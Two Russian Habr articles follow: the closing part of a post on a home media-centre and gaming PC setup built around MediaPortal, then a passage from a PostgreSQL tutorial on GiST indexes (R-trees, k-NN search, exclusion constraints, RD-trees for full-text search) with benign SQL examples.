* Процессор: AMD Athlon(tm) II X3 445 (3200 МГц)
* Видеоадаптер: NVIDIA GeForce GTX 550 Ti (1024 Мб)
* Оперативная память: 6 Гб
* Дисковый накопитель: Western Digital 640 Гб
* Кулер на процессоре: Scythe Ninja Mini (без вентилятора)
* Устройства ввода: Клавиатура, Мышь, ПДУ
* Блок питания: 450 Вт
* Монитор: Asus 24"
* Телевизор: LG 32"
* Операционная система: Windows 7 x64
##### Задачи:
* Выступать в качестве персонального компьютера в третьей комнате.
Рядом с системным блоком располагаются – монитор, клавиатура, мышь и звуковые колонки.
* Одновременно служить в качестве медиацентра, для просмотра роликов с YouTube и Vimeo, фильмов и сериалов.
Для этого в этой же комнате располагаются телевизор, подключенный пятиметровым HDMI кабелем, и рессивер ПДУ.
* Так же компьютер активно используется в качестве игровой платформы.
Если игра удобно управляется геймпадом, то играю на телевизоре лежа на диване, если клавиатурой и мышью – то сидя за столом перед монитором. Если, например кто-то смотрит фильм за телевизором, а я при этом играю, то вместо колонок использую наушники, чтобы не мешать друг другу.
* Если появиться желание можно смотреть тв или записывать передачи.
За это отвечает сервер MediaPortal’а запущенный на первом компьютере, к нему второй компьютер подключается в качестве клиента по домашней сети. К слову сказать, дома у меня 100 мегабитная сеть и этого хватает для просмотра не только SD, но и HD фильмов.
И того получается два полноценных рабочих места располагающихся в первой и третьей комнате, плюс два полноценных домашних кинотеатра находящихся во второй и третьей комнате. Вскоре планируется к покупке еще один маленький компьютер наподобие [Nettop-nT-330i](http://www.foxconnchannel.com/product/Barebones/nT-330i/index.html) и телевизор на кухню, но работать он будет исключительно как HTPC. Сервер MediaPortal’а поддерживает сколько угодно клиентов, поэтому на кухне также можно будет смотреть спутниковое телевидение.
Ну и наконец, плюсы и минусы подобной системы.
##### Плюсы:
* Не требует существенных затрат. Конечно, если у вас дома уже есть персональный компьютер, предназначенный не только для работы, но и для игр и развлечений. Телевизор тоже не относится к покупкам, так как очевидно, что для любого HTPC он необходим. Фактически, если у вас дома есть игровой компьютер, нужно будет купить только пульт.
* Система универсальна и масштабируема. Купив один компьютер, вы получаете кучу возможностей. Если захотелось ее как то усовершенствовать, то сделать это будет легко, и не нужно будет менять все устройство целиком.
* Всеядность. То есть на этом HTPC будут проигрываться практически любые форматы видео и аудио.
##### Минусы:
* К минусам я бы отнес «надежность» системы. Здесь стоит объяснить. Если предполагается, что за персональным компьютером будут работать люди, не разбирающиеся в тонкостях его работы, то неизбежно будут возникать мелкие проблемы. При этом если они будут пользоваться исключительно MediaPortal’ом (смотреть фильмы, тв и сериалы за телевизором), то никаких проблем не будет. Здесь конечно все решают грамотные настройки windows, антивирусы и конечно бекапы.
* Также рекомендую использовать только проверенное железо. Например у меня начали возникать проблемы только после того как я проапгрейдил свой «сервер» на новую платформу от AMD. Прошлая система на их же 785G чипсете работала стабильно. О чем я только думал когда затевал апгрейд…
* Также к минусам стоит отнести не тривиальную настройку системы. Если установка MediaPortal’а вполне легкая задача, с которой справиться любой пользователь, то настройка кодеков, пульта и особенно тв сервера может оказаться для некоторых препятствием. Особенно после того как некоторое время назад перестал работать [русскоязычный форум MediaPortal’а](http://www.forum.team-mediaportal.ru/), на котором находилось много полезной информации и отзывчивых людей готовых делиться своими знаниями.
* Чем мощнее персональный компьютер, тем сложнее сделать его бесшумным. В оправдание могу сказать, что на сервере у меня находится всего один вентилятор на блоке питания, который почти не слышно. На втором компьютере два вентилятора, на блоке питания и на видеокарте. Второй вентилятор конечно уже слышно, но только когда играешь, например, в игры, что порой не так уж и важно.
Надеюсь, кому-нибудь пригодится данная статья, и он сможет сделать универсальный медиа компьютер у себя дома и при этом сэкономить немного денег.
Написать статью, меня побудили не только альтруистические, но и парочка меркантильных желаний. Помимо желания получить инвайт на Хабр, я хотел привлечь внимание увлеченных и технически подкованных людей к замечательной оболочке для медиацентра на основе персонального компьютера с открытым исходным кодом – [MediaPortal](http://www.team-mediaportal.com/). Это прекрасно развивающийся проект, но дополнительные людские силы не могут быть лишними. Например, до сих пор нет нормального [плагина для скайпа](http://forum.team-mediaportal.com/mediaportal-plugins-47/skype4mp-video-83866/) (не смотря на то, что у скайпа появилось API), или все еще не готов [порт клиента под linux](http://forum.team-mediaportal.com/general-development-no-feature-request-here-48/practical-way-porting-mediaportal-linux-12350/). Да мало ли чего еще можно придумать и развить. Очень надеюсь, что среди вас найдутся заинтересованные люди, и MediaPortal станет еще лучше.
Несколько скриншотов.
##### Главное меню:
[](http://i.imgur.com/09pnD.jpg "Главное меню")
##### Пример загрузки процессора при просмотре HDTV:
[](http://i.imgur.com/fvr2U.jpg "HDTV")
##### Галерея фильмов:
[](http://i.imgur.com/PQ0BD.jpg "Галерея фильмов")
##### Пример загрузки процессора при просмотре HD фильма:
[](http://i.imgur.com/gLQZX.jpg)
**PS:** Многое из особенностей MediaPortal’а в этой статье не описывается, так как выходит за ее рамки. Если вам будет интересно, то могу попробовать написать статью конкретно по этой оболочке и ее настройке, хотя в сети есть подобные, но встречаются они довольно редко и очень скупы на содержание. К сожалению, примерно с лета не работает [русскоязычный сайт MediaPortal’а](http://www.team-mediaportal.ru/). Надеюсь, его владелец читает Хабр и восстановит его, или хотя бы договорится о переносе форума на [официальный](http://forum.team-mediaportal.com/), что нужно было сделать уже давно.
**UPD:** Добавил несколько скриншотов.
**UPD2:** Открылся [Русский подфорум МедиаПортала.](http://forum.team-mediaportal.com/categories/russian-mediaportal-forum.585/) | https://habr.com/ru/post/137272/ | null | ru | null |
# Индексы в PostgreSQL — 5
В прошлые разы мы рассмотрели [механизм индексирования PostgreSQL](https://habrahabr.ru/company/postgrespro/blog/326096/), [интерфейс методов доступа](https://habrahabr.ru/company/postgrespro/blog/326106/), и два метода: [хеш-индекс](https://habrahabr.ru/company/postgrespro/blog/328280/) и [B-дерево](https://habrahabr.ru/company/postgrespro/blog/330544/). В этой части займемся индексами GiST.
GiST
====
GiST — сокращение от «generalized search tree». Это сбалансированное дерево поиска, точно так же, как и рассмотренный ранее b-tree.
В чем же разница? Индекс b-tree жестко привязан к семантике сравнения: поддержка операторов «больше», «меньше», «равно» — это все, на что он способен (зато способен очень хорошо!). Но в современных базах хранятся и такие типы данных, для которых эти операторы просто не имеют смысла: геоданные, текстовые документы, картинки…
Тут на помощь и приходит индексный метод GiST. Он позволяет задать принцип распределения данных произвольного типа по сбалансированному дереву, и метод использования этого представления для доступа по некоторому оператору. Например, в GiST-индекс можно «уложить» R-дерево для пространственных данных с поддержкой операторов взаимного расположения (находится слева, справа; содержит и т. п.), или RD-дерево для множеств с поддержкой операторов пересечения или вхождения.
За счет расширяемости в PostgreSQL вполне можно создать совершенно новый метод доступа с нуля: для этого надо реализовать интерфейс с механизмом индексирования. Но это требует продумывания не только логики индексации, но и страничной структуры, эффективной реализации блокировок, поддержки журнала упреждающей записи — что подразумевает очень высокую квалификацию разработчика и большую трудоемкость. GiST упрощает задачу, беря на себя низкоуровневые проблемы и предоставляя свой собственный интерфейс: несколько функций, относящихся не к технической сфере, а к прикладной области. В этом смысле можно говорить о том, что GiST является каркасом для построения новых методов доступа.
Устройство
----------
GiST — сбалансированное по высоте дерево, состоящее из узлов-страниц. Узлы состоят из индексных записей.
Каждая запись листового узла (листовая запись) содержит, если говорить в самом общем виде, некий *предикат* (логическое выражение) и ссылку на строку таблицы (TID). Индексированные данные (ключ) должны удовлетворять этому предикату.
Каждая запись внутреннего узла (внутренняя запись) также содержит *предикат* и ссылку на дочерний узел, причем все индексированные данные дочернего поддерева должны удовлетворять этому предикату. Иными словами, предикат внутренней записи *включает* в себя предикаты всех дочерних записей. Это важное свойство, заменяющее индексу GiST простую упорядоченность B-дерева.
Поиск в дереве GiST использует специальную *функцию согласованности* (consistent) — одну из функций, определяемых интерфейсом, и реализуемую по-своему для каждого поддерживаемого семейства операторов.
Функция согласованности вызывается для индексной записи и определяет, «согласуется» ли предикат данной записи с поисковым условием (вида «*индексированное-поле оператор выражение*»). Для внутренней записи она фактически определяет, надо ли спускаться в соответствующее поддерево, а для листовой записи — удовлетворяют ли индексированные данные условию.
Поиск, как обычно в дереве, начинается с корневого узла. С помощью функции согласованности выясняется, в какие дочерние узлы имеет смысл заходить (их может оказаться несколько), а в какие — нет. Затем алгоритм повторяется для каждого из найденных дочерних узлов. Если же узел является листовым, то запись, отобранная функцией согласованности, возвращается в качестве одного из результатов.
Поиск производится в глубину: алгоритм в первую очередь старается добраться до какого-нибудь листового узла. Это позволяет по возможности быстро вернуть первые результаты (что может быть важно, если пользователя интересуют не все результаты, а только несколько).
Еще раз обратим внимание, что функция согласованности не должна иметь какое-либо отношение к операторам «больше», «меньше» или «равно». Ее семантика может быть совершенно иной, и поэтому не предполагается, что индекс будет выдавать значения в каком-то определенном порядке.
Мы не будем рассматривать алгоритмы вставки и удаления значений в GiST — для этого используется еще несколько [интерфейсных функций](https://postgrespro.ru/docs/postgresql/9.6/gist-extensibility.html). Но есть один важный момент. При вставке в индекс нового значения для него выбирается такая родительская запись, чтобы ее предикат пришлось расширить как можно меньше (в идеале, не расширить вовсе). Но при удалении значения предикат родительской записи уже не сужается. Это происходит только в двух случаях: при разделении страницы на две (когда на странице не хватает места для вставки новой индексной записи) и при полном перестроении индекса (командами reindex или vacuum full). Поэтому эффективность GiST-индекса при часто меняющихся данных может со временем деградировать.
Дальше мы рассмотрим несколько примеров индексов для разных типов данных и полезные свойства GiST:
* точки (и другие геометрические объекты) и поиск ближайших соседей;
* интервалы и ограничения исключения;
* полнотекстовый поиск.
R-дерево для точек
------------------
Продемонстрируем сказанное выше на примере индекса для точек на плоскости (похожие индексы можно построить и для других геометрических объектов). Обычное B-дерево не подходит для такого типа данных, так как для точек не определены операторы сравнения.
Идея R-дерева состоит в том, что плоскость разбивается на прямоугольники, которые в сумме покрывают все индексируемые точки. Индексная запись хранит прямоугольник, а предикат можно сформулировать так: «искомая точка лежит внутри данного прямоугольника».
Корень R-дерева будет содержать несколько самых крупных прямоугольников (возможно, даже пересекающихся). Дочерние узлы будут содержать меньшие по размеру прямоугольники, вложенные в родительский, в совокупности охватывающие все нижележащие точки.
Листовые узлы, по идее, должны содержать индексируемые точки, однако тип данных во всех индексных записях должен совпадать; поэтому хранятся все те же прямоугольники, но «схлопнутые» до точек.
Чтобы представить себе такую структуру наглядно, ниже приведены рисунки трех уровней R-дерева; точки представляют координаты аэропортов (аналогично таблице airports демо-базы, но здесь взято больше данных с сайта [openflights.org](https://openflights.org/data.html)).
*Первый уровень; видны два больших пересекающихся прямоугольника.*
*Второй уровень; большие прямоугольники распадаются на области поменьше.*
*Третий уровень; каждый прямоугольник содержит столько точек, чтобы они помещались на одну страницу индекса.*
Рассмотрим теперь подробнее совсем простой «одноуровневый» пример:
`postgres=# create table points(p point);
CREATE TABLE
postgres=# insert into points(p) values
(point '(1,1)'), (point '(3,2)'), (point '(6,3)'),
(point '(5,5)'), (point '(7,8)'), (point '(8,6)');
INSERT 0 6
postgres=# create index on points using gist(p);
CREATE INDEX`
Структура индекса при таком разбиении будет выглядеть следующим образом:
Созданный индекс может использоваться для ускорения, например, такого запроса: «найти все точки, входящие в заданный прямоугольник». Это условие формулируется так: `p <@ box '(2,1),(6,3)'` (оператор `<@` из семейства points\_ops означает «содержится в»):
`postgres=# set enable_seqscan = off;
SET
postgres=# explain(costs off) select * from points where p <@ box '(2,1),(7,4)';
QUERY PLAN
----------------------------------------------
Index Only Scan using points_p_idx on points
Index Cond: (p <@ '(7,4),(2,1)'::box)
(2 rows)`
Функция согласованности для такого оператора («*индексированное-поле <@ выражение*», где *индексированное-поле* является точкой, а *выражение* — прямоугольником) определена следующим образом. Для внутренней записи она возвращает «да», если ее прямоугольник пересекается с прямоугольником, определяемым *выражением.* Для листовой записи функция возвращает «да», если ее точка («схлопнутый» прямоугольник) содержится в прямоугольнике, определяемым *выражением.*
Поиск начинается с корневого узла. Прямоугольник (2,1)-(7,4) пересекается с (1,1)-(6,3), но не пересекается с (5,5)-(8,8), поэтому во второе поддерево спускаться не нужно.
Придя в листовой узел, перебираем три содержащиеся там точки и две из них возвращаем в качестве результата: (3,2) и (6,3).
`postgres=# select * from points where p <@ box '(2,1),(7,4)';
p
-------
(3,2)
(6,3)
(2 rows)`
### Внутри
Обычный pageinspect, увы, не позволяет заглянуть внутрь GiST-индекса. Но есть другой способ — расширение gevel. Оно не входит в стандартную поставку; смотрите [инструкцию по установке](http://www.sai.msu.su/~megera/wiki/Gevel).
Если все проделано правильно, вам будут доступны три функции. Во-первых, некоторая статистика:
`postgres=# select * from gist_stat('airports_coordinates_idx');
gist_stat
------------------------------------------
Number of levels: 4 +
Number of pages: 690 +
Number of leaf pages: 625 +
Number of tuples: 7873 +
Number of invalid tuples: 0 +
Number of leaf tuples: 7184 +
Total size of tuples: 354692 bytes +
Total size of leaf tuples: 323596 bytes +
Total size of index: 5652480 bytes+
(1 row)`
Тут видно, что индекс по координатам аэропорта занял 690 страниц и состоит из четырех уровней: корень и два внутренних уровня были показаны выше на рисунках, а четвертый уровень — листовой.
На самом деле индекс для восьми тысяч точек будет занимать гораздо меньше места: здесь для наглядности он был создан с заполнением 10%.
Во-вторых, можно вывести дерево индекса:
`postgres=# select * from gist_tree('airports_coordinates_idx');
gist_tree
-----------------------------------------------------------------------------------------
0(l:0) blk: 0 numTuple: 5 free: 7928b(2.84%) rightlink:4294967295 (InvalidBlockNumber) +
1(l:1) blk: 335 numTuple: 15 free: 7488b(8.24%) rightlink:220 (OK) +
1(l:2) blk: 128 numTuple: 9 free: 7752b(5.00%) rightlink:49 (OK) +
1(l:3) blk: 57 numTuple: 12 free: 7620b(6.62%) rightlink:35 (OK) +
2(l:3) blk: 62 numTuple: 9 free: 7752b(5.00%) rightlink:57 (OK) +
3(l:3) blk: 72 numTuple: 7 free: 7840b(3.92%) rightlink:23 (OK) +
4(l:3) blk: 115 numTuple: 17 free: 7400b(9.31%) rightlink:33 (OK) +
...`
И в-третьих, можно вывести сами данные, которые хранятся в индексных записях. Тонкий момент: результат функции надо преобразовывать к нужному типу данных. В нашем случае этот тип — box (ограничивающий прямоугольник). Например, на верхнем уровне видим пять записей:
`postgres=# select level, a from gist_print('airports_coordinates_idx')
as t(level int, valid bool, a box) where level = 1;
level | a
-------+-----------------------------------------------------------------------
1 | (47.663586,80.803207),(-39.2938003540039,-90)
1 | (179.951004028,15.6700000762939),(15.2428998947144,-77.9634017944336)
1 | (177.740997314453,73.5178070068359),(15.0664,10.57970047)
1 | (-77.3191986083984,79.9946975708),(-179.876998901,-43.810001373291)
1 | (-39.864200592041,82.5177993774),(-81.254096984863,-64.2382965088)
(5 rows)`
Собственно, рисунки выше были подготовлены как раз на основе этих данных.
Поисковые и упорядочивающие операторы
-------------------------------------
Операторы, рассмотренные до сих пор (такие, как `<@` в предикате `p <@ box '(2,1),(7,4)')`, можно назвать поисковыми, так как они задают условия поиска в запросе.
Есть и другой тип операторов — упорядочивающие. Они используются для указания порядка выдаваемых результатов во фразе order by там, где обычно применяется простое указание полей. Вот пример такого запроса:
`postgres=# select * from points order by p <-> point '(4,7)' limit 2;
p
-------
(5,5)
(7,8)
(2 rows)`
Здесь `p <-> point '(4,7)'` — выражение, использующее упорядочивающий оператор `<->`, который обозначает расстояние от одного аргумента до другого. Смысл запроса: выдать две точки, ближайшие к точке (4,7). Такой поиск известен как k-NN — k-nearest neighbor search.
Для поддержки такого вида запросов метода доступа должен определить дополнительную *функцию расстояния* (distance), а упорядочивающий оператор должен быть включен в соответствующий класс операторов (например, для точек — класс points\_ops). Вот запрос который показывает операторы и их тип (s — поисковый, o — упорядочивающий):
`postgres=# select amop.amopopr::regoperator, amop.amoppurpose, amop.amopstrategy
from pg_opclass opc, pg_opfamily opf, pg_am am, pg_amop amop
where opc.opcname = 'point_ops'
and opf.oid = opc.opcfamily
and am.oid = opf.opfmethod
and amop.amopfamily = opc.opcfamily
and am.amname = 'gist'
and amop.amoplefttype = opc.opcintype;
amopopr | amoppurpose | amopstrategy
-------------------+-------------+--------------
<<(point,point) | s | 1 строго слева
>>(point,point) | s | 5 строго справа
~=(point,point) | s | 6 совпадает
<^(point,point) | s | 10 строго снизу
>^(point,point) | s | 11 строго сверху
<->(point,point) | o | 15 расстояние
<@(point,box) | s | 28 содержится в прямоугольнике
<@(point,polygon) | s | 48 содержится в полигоне
<@(point,circle) | s | 68 содержится в окружности
(9 rows)`
Здесь показаны также и номера стратегий с расшифровкой их значения. Видно, что стратегий гораздо больше, чем у btree; только часть их них поддерживается для точек. Для других типов данных могут определяться другие стратегии.
Функция расстояния вызывается для элемента индекса и должна определить расстояние (с учетом семантики оператора) от значения, определяемого выражением («*индексированное-поле упорядочивающий-оператор выражение*»), до данного элемента. Для листового элемента это просто расстояние до индексированного значения. Для внутреннего элемента функция должна вернуть минимальное из расстояний до дочерних листовых элементов. Поскольку перебирать все дочерние записи было бы весьма накладно, функция имеет право оптимистически приуменьшать расстояние, но ценой ухудшения эффективности поиска. Однако преувеличивать она не должна категорически — это нарушит работу индекса.
Функция расстояния может возвращать значение любого типа, допускающего сортировку (для упорядочения PostgreSQL будет использовать семантику сравнения из соответствующего семейства операторов метода доступа btree, как было [описано ранее](https://habrahabr.ru/company/postgrespro/blog/330544/)).
В случае точек на плоскости расстояние понимается в самом обычном смысле: значение выражения `(x1,y1) <-> (x2,y2)` равно корню из суммы квадратов разностей абсцисс и ординат. За расстояние от точки до ограничивающего прямоугольника принимается *минимальное* расстояние от точки до этого прямоугольника, или ноль, если точка находится внутри него. Это значение легко вычислить, не обходя дочерние точки, и оно гарантированно не больше расстояния до любой из дочерних точек.
Рассмотрим алгоритм поиска для приведенного выше запроса.
Поиск начинается с корневого узла. В нем имеется два ограничивающих прямоугольника. Расстояние до (1,1)-(6,3) составляет 4.0, а до (5,5)-(8,8) — 1.0.
Обход дочерних узлов происходит в порядке увеличения расстояния. Таким образом, сначала спускаемся в ближайший дочерний узел и находим расстояния до точек (для наглядности покажем цифры на рисунке):
Этой информации уже достаточно, чтобы вернуть первые две точки (5,5) и (7,8). Поскольку нам известно, что расстояние до точек, находящихся внутри прямоугольника (1,1)-(6,3), составляет 4.0 или больше, то нет необходимости спускаться в первый дочерний узел.
Что, если бы нам потребовалось найти первые *три* точки?
`postgres=# select * from points order by p <-> point '(4,7)' limit 3;
p
-------
(5,5)
(7,8)
(8,6)
(3 rows)`
Хотя все эти точки содержатся во втором дочернем узле, мы не можем вернуть (8,6), не заглянув в первый дочерний узел, поскольку там могут оказаться более близкие точки (так как 4.0 < 4.1).
Этот пример поясняет требования к функции расстояния для внутренних записей. Выбрав для второй записи меньшее расстояние (4.0 вместо реальных 4.5), мы ухудшили эффективность (алгоритм напрасно стал просматривать лишний узел), но не нарушили правильность работы.
До недавнего времени GiST был единственным методом доступа, умеющим работать с упорядочивающими операторами. Но ситуация изменилась: в эту компанию уже добавился метод RUM (про который мы будем говорить позже), и не исключено, что к ним присоединится старое доброе B-дерево — патч, написанный нашим коллегой Никитой Глуховым, обсуждается сообществом.
R-дерево для интервалов
-----------------------
Другим примером использования метода доступа gist является индексирование интервалов, например, временных (тип tsrange). Вся разница в том, что внутренние узлы дерева будут содержать не ограничивающие прямоугольники, а ограничивающие интервалы.
Простой пример. Будем сдавать в аренду домик в деревне и хранить в таблице интервалы бронирования:
`postgres=# create table reservations(during tsrange);
CREATE TABLE
postgres=# insert into reservations(during) values
('[2016-12-30, 2017-01-09)'),
('[2017-02-23, 2017-02-27)'),
('[2017-04-29, 2017-05-02)');
INSERT 0 3
postgres=# create index on reservations using gist(during);
CREATE INDEX`
Индекс может использоваться, например, для ускорения следующего запроса:
`postgres=# select * from reservations where during && '[2017-01-01, 2017-04-01)';
during
-----------------------------------------------
["2016-12-30 00:00:00","2017-01-08 00:00:00")
["2017-02-23 00:00:00","2017-02-26 00:00:00")
(2 rows)
postgres=# explain (costs off) select * from reservations where during && '[2017-01-01, 2017-04-01)';
QUERY PLAN
------------------------------------------------------------------------------------
Index Only Scan using reservations_during_idx on reservations
Index Cond: (during && '["2017-01-01 00:00:00","2017-04-01 00:00:00")'::tsrange)
(2 rows)`
Оператор `&&` для интервалов обозначает пересечение; таким образом запрос должен выдать все интервалы, пересекающиеся с заданным. Для такого оператора функция согласованности определяет, пересекается ли указанный интервал со значением во внутренней или листовой записи.
Заметим, что и в этом случае речь не идет о том, чтобы получить интервалы в определенном порядке, хотя для интервалов определены операторы сравнения. Для них можно использовать индекс b-tree, но в таком случае придется обойтись без поддержки таких операций, как:
`postgres=# select amop.amopopr::regoperator, amop.amoppurpose, amop.amopstrategy
from pg_opclass opc, pg_opfamily opf, pg_am am, pg_amop amop
where opc.opcname = 'range_ops'
and opf.oid = opc.opcfamily
and am.oid = opf.opfmethod
and amop.amopfamily = opc.opcfamily
and am.amname = 'gist'
and amop.amoplefttype = opc.opcintype;
amopopr | amoppurpose | amopstrategy
-------------------------+-------------+--------------
@>(anyrange,anyelement) | s | 16 содержит элемент
<<(anyrange,anyrange) | s | 1 строго слева
&<(anyrange,anyrange) | s | 2 не выходит за правую границу
&&(anyrange,anyrange) | s | 3 пересекается
&>(anyrange,anyrange) | s | 4 не выходит за левую границу
>>(anyrange,anyrange) | s | 5 строго справа
-|-(anyrange,anyrange) | s | 6 прилегает
@>(anyrange,anyrange) | s | 7 содержит интервал
<@(anyrange,anyrange) | s | 8 содержится в интервале
=(anyrange,anyrange) | s | 18 равен
(10 rows)`
(Кроме равенства, которое входит и в класс операторов для метода доступа btree.)
### Внутри
Внутрь можно заглянуть все тем же расширением gevel. Надо только не забыть поменять тип данных в вызове gist\_print:
`postgres=# select level, a from gist_print('reservations_during_idx')
as t(level int, valid bool, a tsrange);
level | a
-------+-----------------------------------------------
1 | ["2016-12-30 00:00:00","2017-01-09 00:00:00")
1 | ["2017-02-23 00:00:00","2017-02-27 00:00:00")
1 | ["2017-04-29 00:00:00","2017-05-02 00:00:00")
(3 rows)`
Ограничение исключения
----------------------
Индекс GiST может применяться для поддержки ограничений исключения (exclude).
Ограничение исключения гарантирует, что заданные поля любых двух строк таблицы не будут «соответствовать» друг другу в смысле некоторого оператора. Если в качестве оператора выбрать «равно», то получится в точности ограничение уникальности: заданные поля любых двух строк не равны друг другу.
Как и ограничение уникальности, ограничение исключения поддерживается индексом. Можно выбрать любой оператор, лишь бы он:
1. поддерживался индексным методом — свойство can\_exclude (это, например, методы btree, gist или spgist, но не gin);
2. был коммутативен, то есть должно выполняться условие: *a оператор b* =
*b оператор a.*
Вот перечень подходящих стратегий и примеры операторов (операторы, как мы помним, могут называться по-разному и быть доступны не для всех типов данных):
* для btree:
+ «равно» `=`
* для gist и spgist:
+ «пересечение» `&&`
+ «совпадение» `~=`
+ «прилегание» `-|-`
Заметим, что использовать оператор равенства в ограничении исключения можно, но не имеет практического смысла: ограничение уникальности будет эффективнее. Именно поэтому мы не касались ограничений исключения, когда говорили о B-деревьях.
Приведем пример использования ограничения исключения. Логично не допускать бронирования домика на пересекающиеся интервалы времени.
`postgres=# alter table reservations add exclude using gist(during with &&);
ALTER TABLE`
После создания ограничения целостности мы можем добавлять строки:
`postgres=# insert into reservations(during) values ('[2017-06-10, 2017-06-13)');
INSERT 0 1`
Но попытка вставить в таблицу пересекающийся интервал приведет к ошибке:
`postgres=# insert into reservations(during) values ('[2017-05-15, 2017-06-15)');
ERROR: conflicting key value violates exclusion constraint "reservations_during_excl"
DETAIL: Key (during)=(["2017-05-15 00:00:00","2017-06-15 00:00:00")) conflicts with existing key (during)=(["2017-06-10 00:00:00","2017-06-13 00:00:00")).`
### Расширение btree\_gist
Усложним задачу. Наш скромный бизнес расширяется и мы собираемся сдавать несколько домиков:
`postgres=# alter table reservations add house_no integer default 1;
ALTER TABLE`
Нам нужно изменить ограничение исключения так, чтобы учитывать и номер дома. Однако GiST не поддерживает операцию равенства для целых чисел:
`postgres=# alter table reservations drop constraint reservations_during_excl;
ALTER TABLE
postgres=# alter table reservations add exclude using gist(during with &&, house_no with =);
ERROR: data type integer has no default operator class for access method "gist"
HINT: You must specify an operator class for the index or define a default operator class for the data type.`
В этом случае поможет расширение [btree\_gist](https://postgrespro.ru/docs/postgresql/9.6/btree-gist), которое добавляет GiST-поддержку операций, характерных для B-деревьев. В конце концов, GiST может работать с любыми операторами, так почему бы не научить его работать с «больше», «меньше», «равно»?
`postgres=# create extension btree_gist;
CREATE EXTENSION
postgres=# alter table reservations add exclude using gist(during with &&, house_no with =);
ALTER TABLE`
Теперь мы по-прежнему не можем забронировать первый домик на те же даты:
`postgres=# insert into reservations(during, house_no) values ('[2017-05-15, 2017-06-15)', 1);
ERROR: conflicting key value violates exclusion constraint "reservations_during_house_no_excl"`
Зато можем забронировать второй:
`postgres=# insert into reservations(during, house_no) values ('[2017-05-15, 2017-06-15)', 2);
INSERT 0 1`
Но надо понимать, что хотя GiST и может как-то работать с операциями «больше», «меньше», «равно», B-дерево все равно справляется с ними лучше. Так что такой прием стоит использовать только, если индекс GiST необходим по существу — как в нашем примере.
RD-дерево для полнотекстового поиска
------------------------------------
### Про полнотекстовый поиск
Начнем с минималистического введения в полнотекстовый поиск PostgreSQL (если вы в теме, это раздел можно смело пропустить).
Задача полнотекстового поиска состоит в том, чтобы среди набора *документов* выбрать те, которые *соответствуют* поисковому *запросу.* (Если результатов много, то важно находить *наилучшее соответствие,* но про это пока промолчим.)
Документ для целей поиска приводится к специальному типу tsvector, который содержит *лексемы* и их позиции в документе. Лексемы — это слова, преобразованные к виду, удобному для поиска. Например, стандартно слова приводятся к нижнему регистру и у них отрезаются изменяемые окончания:
`postgres=# set default_text_search_config = russian;
SET
postgres=# select to_tsvector('И встал Айболит, побежал Айболит. По полям, по лесам, по лугам он бежит.');
to_tsvector
--------------------------------------------------------------------
'айбол':3,5 'беж':13 'встал':2 'лес':9 'луг':11 'побежа':4 'пол':7
(1 row)`
Тут также видно, что некоторые слова (называемые *стоп-словами*) вообще выкинуты («и», «по»), так как они, предположительно, встречаются слишком часто, чтобы поиск по ним был осмысленным. Разумеется, все эти преобразования настраиваются, но речь сейчас не о том.
Поисковый запрос представляется другим типом — tsquery. Запрос, грубо говоря, состоит из одной или нескольких лексем, соединенных логическими связками: «и» `&`, «или» `|`, «не» `!`. Также можно использовать скобки для уточнения приоритета операций.
`postgres=# select to_tsquery('Айболит & (побежал | пошел)');
to_tsquery
----------------------------------
'айбол' & ( 'побежа' | 'пошел' )
(1 row)`
Для полнотекстового поиска используется один-единственный оператор соответствия @@.
`postgres=# select to_tsvector('И встал Айболит, побежал Айболит.') @@ to_tsquery('Айболит & (побежал | пошел)');
?column?
----------
t
(1 row)
postgres=# select to_tsvector('И встал Айболит, побежал Айболит.') @@ to_tsquery('Бармалей & (побежал | пошел)');
?column?
----------
f
(1 row)`
Этих сведений пока будет достаточно. Чуть подробнее поговорим о полнотекстовом поиске в одной из следующих частей, посвященной индексу GIN.
### RD-деревья
Чтобы полнотекстовый поиск работал быстро, нужно, во-первых, хранить в таблице столбец типа tsvector (чтобы не выполнять дорогое преобразование каждый раз при поиске), и во-вторых, построить по этому полю индекс. Один из возможных методов доступа для этого — GiST.
`postgres=# create table ts(doc text, doc_tsv tsvector);
CREATE TABLE
postgres=# create index on ts using gist(doc_tsv);
CREATE INDEX
postgres=# insert into ts(doc) values
('Во поле береза стояла'), ('Во поле кудрявая стояла'), ('Люли, люли, стояла'),
('Некому березу заломати'), ('Некому кудряву заломати'), ('Люли, люли, заломати'),
('Я пойду погуляю'), ('Белую березу заломаю'), ('Люли, люли, заломаю');
INSERT 0 9
postgres=# update ts set doc_tsv = to_tsvector(doc);
UPDATE 9`
Последний шаг (преобразование документа в tsvector), конечно, удобно возложить на триггер.
`postgres=# select * from ts;
doc | doc_tsv
-------------------------+--------------------------------
Во поле береза стояла | 'берез':3 'пол':2 'стоя':4
Во поле кудрявая стояла | 'кудряв':3 'пол':2 'стоя':4
Люли, люли, стояла | 'люл':1,2 'стоя':3
Некому березу заломати | 'берез':2 'заломат':3 'нек':1
Некому кудряву заломати | 'заломат':3 'кудряв':2 'нек':1
Люли, люли, заломати | 'заломат':3 'люл':1,2
Я пойду погуляю | 'погуля':3 'пойд':2
Белую березу заломаю | 'бел':1 'берез':2 'залома':3
Люли, люли, заломаю | 'залома':3 'люл':1,2
(9 rows)`
Как должен быть устроен индекс? Непосредственно R-дерево здесь не годится — непонятно, что такое «ограничивающий прямоугольник» для документов. Зато можно применить некоторую модификацию этого подхода для множеств — так называемое RD-дерево (RD — это Russian Doll, матрешка). Под множеством в данном случае мы понимаем множество лексем документа, но вообще множество может быть любым.
Идея RD-деревьев в том, чтобы вместо ограничивающего прямоугольника взять ограничивающее множество — то есть множество, содержащее все элементы дочерних множеств.
Важный вопрос — как представлять множества в индексных записях. Наверное, самый прямолинейный способ — просто перечислить все элементы множества. Вот как это могло бы выглядеть:
Тогда, например, для доступа по условию `doc_tsv @@ to_tsquery('стояла')` можно было бы спускать только в те узлы, в которых есть лексема 'стоя':
Проблемы такого представления вполне очевидны. Количество лексем в документе может быть весьма большим, так что индексные записи будут занимать много места и попадать в TOAST, делая индекс гораздо менее эффективным. Даже если в каждом документе немного уникальных лексем, объединение множеств все равно может получиться очень большим — чем выше к корню, тем больше будут индексные записи.
Такое представление иногда используется, но для других типов данных. А для полнотекстового поиска применяется другое, более компактное, решение — так называемое *сигнатурное дерево.* Идея его хорошо знакома всем, кто имел дело с фильтром Блума.
Каждую лексему можно представить своей *сигнатурой:* битовой строкой определенной длины, в которой все биты нулевые, кроме одного. Номер этого бита определяется значением хеш-функции от лексемы (про то, как устроены хеш-функции, мы [говорили ранее](https://habrahabr.ru/company/postgrespro/blog/328280/)).
*Сигнатурой документа* называется побитовое «или» сигнатур всех лексем документа.
